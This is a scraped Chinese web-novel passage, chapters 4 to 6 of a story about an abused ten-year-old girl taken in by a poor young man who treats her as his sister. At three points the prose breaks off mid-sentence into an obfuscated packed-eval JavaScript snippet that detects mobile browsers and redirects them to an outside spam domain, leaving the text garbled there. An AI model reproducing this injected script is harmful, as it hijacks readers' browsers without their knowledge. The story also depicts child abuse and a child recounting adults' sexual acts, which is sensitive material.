她默默垂下了眼,心里有些不是滋味。 难不成……她真是个拖累? 谁摊上她,谁就要倒霉。 继母庄桂枝总说她是克星,一开始她还听不懂,以为庄桂枝夸她是天上的星星,还朝她笑,以为这位新来的阿姨会像冯春梅那样爱她,后来,她才在村民的各种躲避驱赶和家人的拳打脚踢里明白,克星,其实是骂人的话。 而最难受的是,她发现自己好像真的是个克星。 以前只有冯春梅管她,后来冯春梅就死了;继母来了没多久就怀了弟弟,后来出去玩了一趟,弟弟就没了;蒋六牙怪到她头上,打她的时候又不小心闪了腰,半个多月下不来床;就连她去地里帮着插秧,路过骂她的大爷都连人带锄头翻到了沟里去…… 好像她身边的人,就是会接二连三地出事,不然蒋六牙应该也不会害怕到想打死她吧? 那蒋山呢? 冯水轻轻转头看他。 昨天他在山洞里找到她的时候,说他是来救她的,她还特地问了他知不知道她是克星,害不害怕她。 他的回答,应该是不怕的意思。 可是……他只说了救她,却没有说要留下她。 她的心忽然慌了起来,比下午被他留在这里的时候还要害怕。 会不会是她想错了,蒋山说的救她,是只救她这一次,等她伤好了,就又把她送回蒋六牙家? 她眼睛已经适应了黑暗,能看清屋子里的大致模样,泥巴墙、爬满蜘蛛网的木头房梁、还有看不清纹路的旧瓦屋顶,屋子里的桌子柜子也是很旧,各个角落都起皮掉漆,就连她此刻正睡着的这张床都总是吱呀吱呀地响。 蒋山好像比蒋六牙还要穷。 虽然他家还能有她的一份鸡蛋吃,但他还是很穷,穷到连头发都没钱剪,穿的衣服上也满是补丁,而且样式和布料看着还是爷爷那辈穿的。 蒋六牙和庄桂枝都说过,养她太费钱了,把家里四个人全都卖了也养不起她。 蒋山家里还就只有他一个人,卖了他换的钱只会更少,肯定也是养不起她的。 所以他真的只能救她一次,哪怕他的本意不是这样,他的条件也只能支撑他救这唯一的一次,等她伤好了,他还是只能把她送回去。 冯水想到这里,眼眶又热了,身上的密密麻麻的淤青和伤痕也统统发作起来。 她又要被打了,而且蒋六牙要是发现她不仅没死,还敢再回去,会不会气得直接打死她? 蒋山原本都要睡着了,迷蒙中总听见冯水这边有窸窸窣窣的动静,倒是没听出她在哭,只是单纯以为她是怕黑怕得睡不着,想着她还有那么些伤,心里还是不免惦记着,闭了会儿眼没睡着,又睁开了。 他躺在草席上在黑暗中看她。 冯水刚才还是没说自己到底为什么哭,就说了个害怕,然后就让他留下来陪她睡,他自己也只是一根筋地留了下来,别的什么都没问。 他慢慢皱起了眉。 蒋二全死得早,蒋山从小就是自己照顾自己,哭了痛了也没人管,这么些年里也没和别的人有什么接触,只偶尔在山上种地的时候,远远看着村里有小孩儿哭了,大人一般都是先打,打完了然后再抱着哄哄。 他当然是不可能去打冯水的,突然上去抱她肯定也是不行,照这个顺序,他现在似乎应该试着哄两句。 但他还是怕万一自己想错,冯水已经睡着,自己这样会把她吵醒,先很小声地叫她一声:“冯水?” 冯水正努力忍着哭声,不敢答应,但也不敢不答应。 万一她不答应,蒋山生气,直接现在就要给她送回去,可是万一她答应了,被他听了出来,觉得她老哭晦气,也要现在把她送回去怎么办? “嗯……”她还是应声,虽然努力克制着,但声线还是颤抖。 蒋山听着不对劲:“你又哭了?” 他想到刚才的那些小动静,又问:“还是一直在哭?” 冯水害怕地闭了闭眼,否认说:“我没有……哭……” 草席和床铺得很近,蒋山掀了被子坐起来看她:“还说没哭,眼泪都流一枕头了。” 冯水害怕得皱紧了脸:“我没有……” “我不哭了……你别……你不要把我送回去……”她这回真的哭起来,压都压不住,“哥……我听话……我一定听话……” “送你回去?”蒋山没懂,看她哭得厉害,划了根火柴点了灯,拿袖子给她擦眼泪,“回哪儿?你家吗?” “不要……”冯水哭得更厉害了,手撑着床想起身,蒋山起来扶她。 “我爸……我爸爸会打死我的。”冯水泪水流了满脸,顺着下巴滴落在床单上,“他这次就是想打死我,是……是邻居有个阿姨怀了孩子,看见他在院子里打我打得厉害,害怕我被打死会冲撞到她的孩子,然后她家里人一起在我家闹,我爸才……才停手,路上被人问起,他就骗别人说我已经死了,要扔到外面去。” “哥……哥我求求你……不要送我回去,我不想被打死……” 蒋山听她说着,眉头气得拧成结,嘴唇也绷紧了,胸口一起一伏的。 冯水在蒋六牙家过得不好他是知道的,平时挨骂挨打他也能猜到,但给冯水处理伤口时看见她头部和腹部没受什么伤,四肢也没有骨折情况,还以为是蒋六牙到底念及骨肉亲情才手下留情,原来他放冯水一条生路的原因竟是这样? “我不会送你回去的,而且蒋六牙已经死了。” 他没好气地说了句,冯水一下子愣住,两只眼睛就那么看着他不动,嘴巴微张着,说不出话。 蒋山觉得她大概是吓着了,被这件事,也被他刚才说话的语气。 他皱着眉咽了咽,缓和了一些语气,但也没好多少:“一家四口全死了,就在昨天我去救你之前,烧死的,房子都烧塌了,湾下面的人连夜帮着下葬的。” “所以我不会送你回去,也不会有人再打你。” “你就安心在我这儿住着,别老想东想西,一天到晚怕这怕那的。” 冯水保持着刚才的表情和动作僵了大概有半分钟,脑子才彻底反 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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蒋山看得一乐,抬手把她脸上所剩无几的泪水抹掉,他手上全是茧,力气不大,但还是刮得冯水闭眼皱紧了脸。 他看她这样又笑起来,拿着帕子站起身:“我去外面给你拧一把水,擦个脸再睡,免得被眼泪腌了脸,明天又要嚷嚷疼。” 冯水坐在床上看着他离开的背影,时不时抽噎一下。 她摸了摸刚才被蒋山手掌摩挲过的脸,然后看着自己的手眨了眨眼。 哥哥。 蒋山拿着帕子进来,看她看着手发呆,低头看了眼:“伤口又裂开了?” 冯水想得入神,根本没发现他进来,被他的说话声吓得一抖,收回了手抿着唇不敢说话。 蒋山笑着哄她:“没事儿,一会儿又包。” 他一只手捏着冯水下巴,另一只手拿着帕子给她洗脸,力道又轻了些,这次冯水没有皱巴了。 他把帕子搭在架子上,重新给冯水包手。 “哥。”冯水忽然叫他一声。 “嗯?”他上着药,头也没抬。 “哥。”冯水又叫他。 “干嘛?”蒋山抬头,看见冯水正抿着唇朝他笑,清亮亮的大眼睛盈盈看着他。 他呼吸忽然一滞,咬紧了牙关才忍住想要回避视线的动作。 “没事,就想叫一下。” 他脸上没什么表情,又低下头去包纱布。 “哥。”她咬了咬下唇,再次开口,“等我伤好了,也会对你这么好的。” 蒋山动作慢了一拍,好一会儿,他才应声:“嗯。” 伤口被包扎好,蒋山扶着冯水躺下去,吹了灯,重新躺回到草席上。 冯水躺在床上,听到旁边逐渐平稳下来的呼吸声,困意袭来,她终于沉沉地睡去。 梦里,许久不见的冯春梅捧着好大一束梅花出现,她笑着将她抱起,含着眼泪亲吻她。 “我的宝贝女儿,终于又有人爱了。” 5. 枯芽寄05 接下来的一段时间,冯水还是在家养伤,蒋山纠结了好几天,看她伤好些了,赶紧去山上砍了几截树杈,削了皮拿布包着给她放床边,她想下床的话就拿着当拐杖用,上厕所换衣服洗澡拿东西什么的也方便一些。 冯水妈妈走得早,家里人除了打她骂她之外什么也不教她,她今年都十岁了,但好像还并不知道男女有别的事,好几次换衣服不背着他就算了,连蒋山自己换衣服洗澡什么的背着她不让她看,她都还会觉得被嫌弃了,可怜巴巴地一个人默默掉眼泪。 摊上这么个一遇到事不是哭唧唧就是掉眼泪的妹妹,蒋山时常觉得有口难言。 还真是应了这名字,简直就是个水包。 但即便她哭,他也还是得背着她,冯水不肯背着他,他就自己躲着点儿她换衣服洗澡。 毕竟他比冯水大了至少三岁,而且看样子冯水是真的把他当成了亲哥来对待的,她年纪小不懂事,他可不能揣着明白装糊涂。 但他除了这样做之外,也不知道该怎么和她解释,毕竟他长这么大,除了去镇上卖东西的时候遇到过女顾客、在村里种田被别的女的认错之外,确实是没怎么接触过女的,更谈不上了解。 冯水第一次在他面前毫不顾忌地脱衣服的时候,他倒是试着解释过,说男的和女的不一样,不能靠太近,之前他那样,是因为她有伤动不了,现在她能动了,就应该学着保护自己的隐私。 但冯水说以前在家的时候蒋六牙和庄桂枝就经常这样光着身子走,洗澡什么的也一起,甚至还在她面前那个过,蒋山看着冯水顶着这样一张天真无邪的脸说出这些连他自己都没听说过的夫妻行房具体细节,突然就说不出话来了。 算了,不懂这些事,对冯水来说其实也算是一种幸运。 反正现在冯水还小,又有他看着,蒋六牙一家也死了,而且他家死的时间太凑巧,在村里人眼里,这应该算是彻底坐实了她克星的名头,估计也没什么人敢来祸害,等以后她稍微大点了再慢慢教也是一样。 地里的庄稼渐渐长起来,冯水的伤也慢慢好起来,蒋山把隔壁粮仓腾了腾,打算和冯水分房睡,趁着现在天气还不那么热,他去山上砍了两棵柏树,打算再做张床。 新的给冯水,他还是睡旧的那个。 冯水一开始不知道他要分房睡的事,以为他只是再做张床,她也不想蒋山一直睡地上,但每次叫他上床来睡,他就又要说什么男女有别的话。 可他明明是她哥哥啊,救她命、给她吃饭、吃糖、吃鸡蛋的哥哥。 他和村里的那些男的都不一样,长得也比他们好看,这样也有别吗? 而且有别……什么是有别? “冯水,去给哥端碗水来。”蒋山扛着被劈成几块儿的木头进了院门,哐当几声放倒在地上,拍了拍手上的灰,拿挂在脖间的帕子擦了擦汗。 看冯水进屋,他才赶紧捞起衣服下摆快速扇风解暑。 家里有个妹妹,确实是不一样了。 只怕是连三伏天也不敢随便脱衣服,本来冯水就不懂,万一看他都在热天随便脱衣服,也跟着学怎么办? “哥。”冯水端着碗水出来,递给他。 蒋山答应一声,接过碗一饮而尽,几滴水沿着碗沿滑向他下巴,和新出的汗水汇合一起滴落,很快被地上的土吸干,小花以为有吃的,从外面跑过来嗅了嗅,又跑开了。 “去屋檐下坐着。”他把碗递给冯水,“别在这儿晒,这会儿太阳毒。” 冯水接过碗:“那哥也去歇会儿?” 蒋山朝她摇了摇头,转向一边拧帕子上的水:“哥不去,我今天得把床做出来,以后天气热了,咱俩还是得分开睡。” 不然万一他晚上睡熟了直接习惯性脱衣服怎么办? “可我们不是已经分开睡了吗?”冯水没明白。 蒋山看她不动,拉着她往屋檐下走,端了个凳子给她:“就在这儿坐着。” 冯水坐下,然后看着他。 蒋山咽了咽,有些为难地说:“冯水,哥哥是男的,不能和你睡一个房间。” “那之前我爸和庄阿姨不也是睡一起?” “他们不一样。” “哪里不一样?” “他们是夫妻。” “什么是夫妻?” 蒋山词穷,他叹了口气,打算先混过去:“哥饿了,你去给哥蒸个馒头好不好?上次哥教过你的。” 但冯水好像真的很好奇这个问题:“能牵手、能亲能抱、洗澡也不用分开的那种就叫夫妻吗?” “那我也要和哥哥做夫妻。” 冯水忽然这么来了句,蒋山原本不打算再继续的,听她这么说愣是瞬间就黑了脸,拧着眉生气地朝她喊了一句:“胡闹!” “哪有妹妹和哥哥做夫妻的!” 冯水住进来这么久,蒋山有烦躁过,有不耐烦过,偶尔也冷淡过,但还从来没有这样对她发过火,冯水被吓得整个人都抖了一下,条件反射地缩着肩膀往后退,眉毛也挤在一起,眼里满是惊恐,呼吸都变短。 蒋山吼出来的一瞬间就后悔了,冯水本来就不懂,是他自己嫌麻烦没教,才说出这样乱.伦的话,现在怎么能怪到她头上? 而且还把她吓成这样,本来她以前常挨打,胆子就小,好不容易才把身上的伤养好,万一又被吓坏了怎么办? 他眉头松动一些,捏了拳头咽了咽,眼里既有抱歉也有担心,但冯水刚才那话着实吓人,就算要道歉,也必须先把这件事和她说清楚,再来道歉。 “冯水……” 他看着颤巍巍看着他的冯水开口,磨蹭几秒,脱口而出:“对不起。” 他无奈地叹了口气。 算了,还是先道歉吧。 “哥不是故意凶你的。”他软了语气,“哥给你道歉,下次不这样了。” 冯水听他语气变了回去,才敢哭出来。 蒋山想给她擦眼泪,但他手上有汗,衣服和帕子也有:“冯水,自己擦眼泪好不好?哥哥手脏。” 冯水拿两个手背在脸上蹭着。 蒋山抬手挠了挠头,纠结一会儿,什么道理也没说。 “别哭了,哥不凶你了。”他弯下腰又哄了句,“别害怕哥。” 冯水模糊着眼睛看着蒋山,抽噎着点了点头。 蒋山朝她笑笑:“去吃块儿糖?” 冯水摇了摇头。 “那坐着玩会儿,一会儿哥去做饭。” 蒋山去院子里锯木头了,冯水在原地看着他站了会儿,才坐在了凳子上。 夫妻。 是很不好的东西吗? 为什么哥会发火? 她垂下眼眸,两只手抓着膝盖上的布料捏着。 那她不要和哥哥做夫妻了。 她不要哥哥生气。 . 蒋山在院子里敲敲打打一直到天黑,才把床的大致模样打出来,反正也看不见了,他打算先收工,等明天白天再把细节修一下。 正好现在也不早了,该做饭吃了。 小花已经从外面回来,趴在冯水脚边朝她摇尾巴,冯水坐在凳子上看它,偶尔笑笑。 好,能笑就好。 他放下心来,收了东西做饭去了。 吃饭的时候冯水没像往常那样和他说话,他试着搭了几句,冯水也只是回应,没有多说。 蒋山觉得她应该还是在生气,不然就是真的害怕他了,但无论哪种,他都得把她哄好。 她是他妹妹,他自己选择的妹妹,是除小花之外,唯一的家人。 晚上他还是先烧水给冯水洗澡,冯水洗好了,他再烧水洗。 照平时的习惯,冯水洗好之后会去柜子里把他的衣服拿出来放好,然后再回房间等他。 可是今天没有。 蒋山一开始还以为是换地方了自己没看到,在洗澡的棚子里找了好久都没找到,才自己回屋子拿。 冯水已经休息了,没有吹灯,但也没有等他。 蒋山心里忽然有些空落落的。 难受。 被照顾过、被看重过、被依赖过,然后一下子落空的难受。 他拿上衣服从屋里出去,离开前看了眼冯水,她侧躺着睡着,没有偷看他一眼。 是他自己要凶她的。 也是他说他洗澡她必须待在房间的。 都是他。 蒋山洗了澡,把灶房打扫干净,还去给小花收拾了下窝,才重新洗了手回屋睡觉。 冯水睡觉很安静,他也不知道她睡着没有,轻手轻脚地过去吹了灯,在草席上躺了下来。 睡不着。 他妹妹不理他了。 他都还没来得及哄,妹妹就一副已经休息的样子。 平常还会问他地上冷不冷,硬不硬,要不要上床睡,虽然他总是拒绝,还总是一副妹妹怎么还是不懂的样子,但其实他自己心里一直还挺受用的。 他转头看着床上侧身背对着他睡的冯水。 看了一会儿,又转了回来。 然后又转了过去:“冯水。” 他声音适中,不是试探,就是想把她叫醒。 大概两秒,冯水才应了一声:“嗯?” 不是黏糊的语气,她没有先睡。 蒋山忽然觉得心里没那么难受了,他笑着侧身对着她睡:“还在生哥的气吗?” “都不转过来看哥。” 冯水听他这么说,又慢慢转了过来,今晚窗外月光很好,能看到她侧睡在枕头上,耷拉着嘴角,看着挺委屈。 蒋山看她这模样笑起来:“哥再给你道个歉,哥保证以后真的不凶你了。” 大概是觉得口头道歉没什么诚意,他想了想,又说:“山上野枇杷熟了,明天哥弄点回来给你煮冰糖吃好不好?” 冯水没看他,只点了点头,闷声答应。 “还不高兴啊?”蒋山挠了挠头,“那你还想要什么?跟哥说。” 屋里安静了一会儿。 “我……我不要。”冯水说。 “不要?”蒋山奇怪,“为什么?” 冯水抿着唇,一只手捏着被角:“我要了,你会生气。” 蒋山更是不解:“不会啊。” “你就是会。”冯水缩了缩身体,下半张脸埋进被子里。 蒋山把草席往她那边挪了挪,耐着性子小声问她:“为什么这么觉得?跟哥说说。” 冯水盯着他眼睛看了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15669871|173103||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会儿,确定他没有生气,才又将脸从被子里挪出来:“因为……你不想和我做夫妻。” “什么?”蒋山拧着眉,他其实还是有点生气,但他这次忍住了。 冯水本来都打算不看他了,但想了想又觉得,明明自己也没有错,于是又对上他的视线,继续说:“因为哥说我爸和庄阿姨是夫妻,他们就是要牵手要亲要抱的。” “庄阿姨会给我爸烧水做饭,我爸有时也会送她东西。”她慢慢说着,“还有很多,而且……” “而且有的事情,我和哥也做过。” 蒋山心虚地咽了咽,喉咙里咕噜一声,也不生气了,也不黑脸了,连眼神都闪烁起来:“什么啊?” “哥给我做饭。” “那不是你不会吗?而且这一家人难道还煮两锅饭吗?” “哥喂我吃糖。” “那……那也没啥啊?我还喂小花呢,你不也喂它吗?” “哥还给我烧水,给我送东西,我也给哥拿衣服,还等你回来了再睡觉。” 蒋山从草席上起身:“这些事不是夫妻也能做啊,而且你是我妹妹,我给你烧水、给你送东西,那不是很正常的事吗?” “你给我拿衣服,等我回来,那我是你哥,这也没什么不对啊?” 冯水皱着眉。 你一说就是这也可以那也可以,我一说就是这也不对那也胡闹。 她哼了一声,又转过身去。 蒋山这回彻底蒙了。 “冯水,你转回来。” “我不。” 蒋山心里着急,但面对冯水却又急不得。 他又挠了挠头。 “那你的意思,是要哥以后都不给你做饭、不喂你吃糖、不给你烧水不给你送东西吗?” 冯水背对着他生气,越气越想哭。 蒋山坐在草席上等她,等着等着,自己就又难受起来。 不给冯水做饭、不喂她吃糖、也不给她烧水送东西,也就意味着他不能再照顾冯水,冯水也不会再给他任何关心,可是冯水是他妹啊。 今晚才这一小会儿他就这么难受。 不行。 “冯水,你转过来。”他说了句。 屋里安静了好一会儿,冯水也害怕自己再生气蒋山就真的不理她了,擦了眼泪,转过来。 蒋山看见她脸上的泪痕:“你又在哭什么?” 冯水把脸埋进被子,蒋山今天一定要问出个原因,过去抢她被子,刚要摸着,冯水突然一下从被子里出来,脑门撞他下巴上,结结实实的一下。 “好痛……”她捂着额头说了句。 蒋山也被撞得倒吸一口冷气,缓过来之后,还是去看她:“手拿开我看看。” 冯水把手拿开。 蒋山就着月光看了看,没破皮,但就刚才那个力度,明天肯定是要青的。 想着刚才她还闹脾气,蒋山也不哄她,说:“你说的那些我不同意啊,你是我妹,我对你做那些是应该的。” “可是你不是说那些是夫妻才能做的吗?” “我可没说过啊,那些什么亲啊抱的都是你说的。” “我对你做的那些不是夫妻也能做。”蒋山言简意赅,“等着,我去拿点猪油擦擦。” 冯水在床上等着。 一分钟后,蒋山边给她额头抹猪油边接着说:“因为我们是兄妹,所以哥关心你、你关心哥,都是可以的,也是应该的。” “但是只能关心,你下午说的那些,什么亲啊抱的,是很亲密的人才能做的,像夫妻这样的就可以,不是对哥哥做的。” “那什么是夫妻?”冯水问他。 “夫妻就是……”蒋山思考着,“就是一起结婚生孩子、一起过一辈子的人。” 他有点怕冯水又要因为现在不懂事、又很依赖他、想和他过一辈子,就说出要和他一起结婚生孩子的话,赶紧又补充说:“就是要找到另一个喜欢的人。” “喜欢的人?”冯水皱眉,“我喜欢哥。” 蒋山看着她笑起来。 喜欢哥这句话,听着可就比想和哥生孩子好接受多了。 他给她抹好,拿帕子擦了擦手:“不是这种喜欢。” “那是哪种?” 蒋山拧着眉想了想:“其实哥也说不清楚,只是听镇上的人说过,那种喜欢叫爱情。” “我们之间的这种,是兄妹情,和爸爸妈妈爷爷奶奶对我们的感情一样,算亲情。” “亲情?” “对。”蒋山走过去给她把被子掖好,“哥对你好,是亲情。” 刚说完,他心里就觉得有点怪怪的,但也说不上来是哪里怪。 “那我想对哥好,也是因为亲情吗?” 蒋山重新躺了回去。 好一会儿,他才应声:“嗯。” “哥,我会一直对你好的。”冯水睡在枕头上看着他笑,“就是亲情的这种。” “不是夫妻之间的爱情。” “所以哥下次不许再生我气,也不许再凶我。” 蒋山躺在草席上看着床上的冯水,心里莫名有点酸酸的,酸得他皱起了眉。 又过了好一会儿,蒋山才点头答应她:“嗯。” 6. 枯芽寄06 新床很快做好,被放在屋檐上散了几天湿气,蒋山把冯水床上的东西全部移上去整理好,连人带旧床搬到隔壁睡了才不过半个月,天气就开始大幅升温,热就算了,蚊子也出来了。 而且这蚊子说来也怪,以前家里就蒋山在,它们要咬蒋山,现在冯水来了,就只盯着冯水一人咬,咬得她晚上睡不着不说,睡着了还总被咬醒。 蒋山怀疑是不是因为冯水睡的那个房间临近山边招蚊虫,但他现在睡的房间是个粮仓,面积本来就不大,还堆满了各种粮食和菜籽油,他清理了好半天才腾出这么一张床的位置,而且房间许久不通风,每次从外面进来都能闻到一股土墙味儿,真要让冯水换过来,估计还是睡不好。 冯水连着几天顶着黑眼圈愁眉苦脸地挠身上的蚊子包之后,蒋山决定开始守着她睡。 他每天晚上洗过澡之后不急着睡觉,先去把冯水蚊帐里的蚊子全都打死,然后让她上床上待着,拿着灯满屋子打蚊子,屋子里的蚊子也差不多没了,他就拿着把扇子坐冯水床头,给她扇风,一直到她睡着,再听一下蚊帐里还有没有蚊子声,确定没有了,再回去睡觉。 冯水觉得蒋山这样好辛苦,明明白天要种地,晚上还要帮她打蚊子扇风,但如果不让他来,那她就又得一个人睡了。 继蒋山和她说男女有别她没听懂之后,上次蒋山和她说关于亲情和爱情的事,她其实也没怎么听明白。 就只记得一句,蒋山对她好,她对蒋山好,都是因为亲情,也只是因为亲情。 亲情蒋山解释过,就是爸爸妈妈爷爷奶奶的爱,别的她没感受过,但妈妈的爱她知道,明明就是可以亲可以抱可以睡一起的。 但蒋山非说兄妹不行,那么兄妹的亲情和妈妈的亲情就又是不一样的。 那这个亲情又是怎么一回事,爱情又到底是什么,和这个兄妹的亲情有什么区别,她还是不明白。 只是后来在一次次的实践中发现,如果她只说自己想抱他、想和他睡一块儿,蒋山就会生气,并再次对她进行男女有别、兄妹之间不能做这些、亲和抱是夫妻才能做的事、夫妻就是找个喜欢的人过一辈子、是爱情……等等的批评教育,但如果加上一句都是因为亲情,蒋山就不会生气,有的时候看着好像还挺开心,只不过除了开心之外,也还是不会亲她抱她。 冯水觉得奇怪,明明是同一件事,怎么对蒋山来说,是爱情和是亲情的差别就这么大,而且照蒋山的说法,明明这两个都是一个人想要去关心和爱护另一个人,为什么非要分成两种不同的情感。 她有仔细思考过一阵,但总是想着想着就犯困,大白天坐田埂上等蒋山干活,结果因为想事情好几次差点栽沟里去,把蒋山吓得还以为她脑子出什么问题了。 后面她干脆也就不想了,反正只要说亲情蒋山不生气,那她就一直说亲情好了,这样蒋山高兴的时候,她还能蹭到几个哄孩子的脸颊亲亲和拥抱。 但是她发现亲情也有一点不好,就是蒋山还是要抓着男女有别的事不放,洗澡换衣服那些更加避着她不说,还硬要搬到去隔壁睡,她都哭了他还是坚持要搬。 蒋山刚搬走那会儿冯水特别不适应,吹了灯之后就一直睡不着,倒是没有像以前那样总是做噩梦,但就是不习惯。 她习惯了伴着床边平稳的呼吸声入睡、习惯了一醒来就能看见蒋山的脸、也习惯了睡不着时拉着蒋山说一些乱七八糟的话,然后看他困得眼睛都睁不开还要忙着回答自己。 所以蒋山不挨着她睡了,她就睡不好了。 但蒋山说了,他们是兄妹,兄妹是绝对不可以睡在一起的。 他都这么说了,冯水怕他又生气,也不敢再继续。 只是在心里默默地不满,什么亲情,连想和哥哥一起睡觉都不行,还不如爱情。 不用考虑男女有别、亲和抱都被允许、还可以一起睡觉。 要是能让她和蒋山的亲情变成爱情就好了。 冯水总在心里这样祈祷着。 她这种睡不好的状态一直持续到六月底,天气炎热,蚊子也猖狂,每天起来身上都要多好多蚊子包,蒋山这才下定决心过来守着她,但也只是为了给她打蚊子和扇风,看她睡着了就又走了。 但无论怎样,至少现在蒋山愿意来陪着她,哪怕只是一小会儿,冯水也很开心。 夏天才刚开始,蒋山还能陪她睡很久。 七月中下的时候,蒋山趁着雨季还没来,紧赶着把地里的水稻收了,今年是他第一次种水稻,好些地方没做好,稻米收成不好卖不上价,但留着自家吃还是可以的。 冯水不会收稻谷,蒋山也不想让她做这些辛苦活儿,一个人忙活了大概七八天,最后那天一直在地里干到月亮都出来老高了,才扛着最后一袋稻米回来,洗完了澡之后湾子对面的光点全都灭了,各家各户早就吹灯休息,不知道夜已多深。 冯水洗好澡,在床上睡着等蒋山。 他今天看着好累,帮她打蚊子的时候眼皮都有点打架。 冯水躺在枕头上,看着靠在床头给自己摇扇子的蒋山,心里莫名难受。 “哥。”她皱着眉叫他。 “嗯?”蒋山低头看她,抬手轻轻给她拨了拨被风扇乱的额发。 冯水抿了抿唇:“你是不是想睡觉了?” 蒋山疲惫地笑笑,依旧给她摇着扇子:“对啊,哥都困了。” “你还不困吗?” 冯水没说话,翻身向着他侧躺着。 蒋山低头看着她,轻轻勾了勾唇。 过了会儿,困意再次袭来,他又低头看了眼,冯水的眼睛都还没合上,看着也没有半点想睡的意思。 他叹了口气,起身挪了挪沉重的身体,重新坐下,后背还是靠在床头板上,将一条腿抬起来放在床沿的木头上省着力:“冯水,哥记得上次你说,你生日是吃月饼之后是吧?” “吃月饼是八月十五,现在是农历六月,也不早了,想要什么生日礼物?” “等哥下个月地里玉米收了,哥就有钱给你买了。” 冯水抬头看他,现在天气热,他又光顾着给她扇扇子,自己额头上都热出汗了。 她又皱起了眉,伸手去抓他手里的扇子。 蒋山不知道她要干什么,由着她拿过去。 然后,几道轻柔的凉风往自己这边吹来。 随之而来的,还有冯水板着的脸和硬邦邦的话:“明明自己最热,还光顾着给我扇风。” 蒋山笑着:“人不大点儿,脾气还不小。” “哥问你想要什么礼物。”他伸手捏了捏她下巴,软软凉凉的,摸着很舒服。 冯水摇着脑袋挣开他,却不看他:“我不要礼物。” “我不想你这么辛苦。” 蒋山看着她微笑着,慢慢呼出口气,心里说不出的复杂滋味。 在这山里种田过日子的,哪有不辛苦的。 活着,本身就是一件很辛苦的事。 但是有妹妹的话,就好很多。 妹妹,他的,他一个人的。 “哥不累。” 蒋山笑着把扇子拿了回来:“等玉米收了,哥带你去镇上做身衣服吧。” “小姑娘家家的,哪能一直穿我们男人的衣服。” 冯水没看他,低头瞄了眼自己身上的衣服,拧着眉又有些不悦:“为什么不能,衣服也男女有别吗?” 蒋山笑起来:“是这意思,但不是你说的那个意思。” 冯水仍是不看他:“反正哥是男的,我是女的,区别可大了,不能一起睡就算了,连衣服都不能穿。” 蒋山又笑起来。 过了好一会儿,他才笑着跟她解释:“冯水,真不是哥嫌弃你,你不信的话下次我们去镇上的时候你问问别人,哥哥和妹妹本来就不能一起睡。” 更何况我们还不是亲兄妹。 冯水没理他,反正来来回回就这几句,她都听腻了。 蒋山抬手摸了把额头。 他快困懵了,脑子都有点转不过来,刚才那么一笑,不但没醒,反而像是耗尽了最后一点精神,此刻他脑袋昏昏沉沉的,总感觉下一秒就要倒下。 “冯水。”他吸了口气,身体顺着床沿向下滑了一些,“哥真的困了,想睡了。” 冯水听他声音越来越小,终于舍得看他,抬头一看,见他手上的动作停了,眼睛正要闭上,整个人身体原本是坐着,现在滑得都快躺下了,但他坐在床沿上,一半身体都悬在外面,看着不像是要躺到床上,反而更像是会摔在地上,而且……此刻他拿着扇子的那只手正在慢慢往床外面滑。 “哥——” 蒋山眼睛完全闭上的同时,拿扇子的手刚好完全垂在身体另一侧,重心一偏,差点整个人摔地上,冯水眼疾手快抓着他衣服把他拉了过来,条件反射发出来的单个音节被她硬生生折断,她稳住蒋山的身体坐在床上不敢动,心跳声响得震天。 她刚刚,抱到蒋山了,在没经过他同意的情况下。 一秒,两秒,三秒。 蒋山没说话,也没动,耳边只有他依旧平稳且缓慢的呼吸声。 冯水慢动作转头看他。 他没被吵醒,依旧睡得很熟。 冯水松了口气,慢慢把蒋山放好在枕头上。 然后坐在床的另一边皱眉。 所以……她在哪儿睡? 蒋山不让她和他一起睡,她又搬不动他。 冯水继续在原地愁了一会儿,觉得还是去蒋山的房间睡好些,免得明天他醒了又要生气。 而且万一他这一生气,以后都不来陪她睡了可怎么办? 不行! 冯水把被单给蒋山盖上,轻手轻脚地下床,拿着煤油灯去了蒋山的房间。 但蒋山的床上没蚊帐,冯水刚吹了灯躺下没一会儿,突然有好多只蚊子围着她转,上上下下都有,打了手臂打小腿,打了小腿又打脸,关键打又打不到,每一巴掌都精准落在她自己身上。 冯水又气又急,手臂和腿上都是蚊子包,痒得难受,她哭着从床上坐起来,下意识就想喊哥,但蒋山今天太累了,需要休息。 冯水挠着痒抹了把眼泪,下床回了自己房间,找到蒋山之前给她买的清凉油擦蚊子包,然后站在床边掉眼泪。 她不敢上床,也不敢回蒋山的房间睡。 吧嗒掉了好一会儿眼泪,瞌睡忽然一下子来得厉害,冯水实在是撑不住,明知这样会挨骂,但还是脱了鞋子上床,她在床的另一边缩成一团,尽量离蒋山远远的,没有枕头也没有被单,就那么缩着,竟也很快睡着了。 第二天上午,蒋山睁开眼看见那顶他用了好多年的已经发黄的白蚊帐,又闭上了。 但下一秒,他猛地惊坐起,往旁边一看,正睡着的不是冯水又是谁? 他昨晚在冯水床上睡的? 他怎么能在冯水床上睡! 而且他不是也和冯水说过,不能和自己睡一张床,他昨晚太累了直接睡在这儿,她为什么不把他叫醒? 冯水是缩着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15669872|173103||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 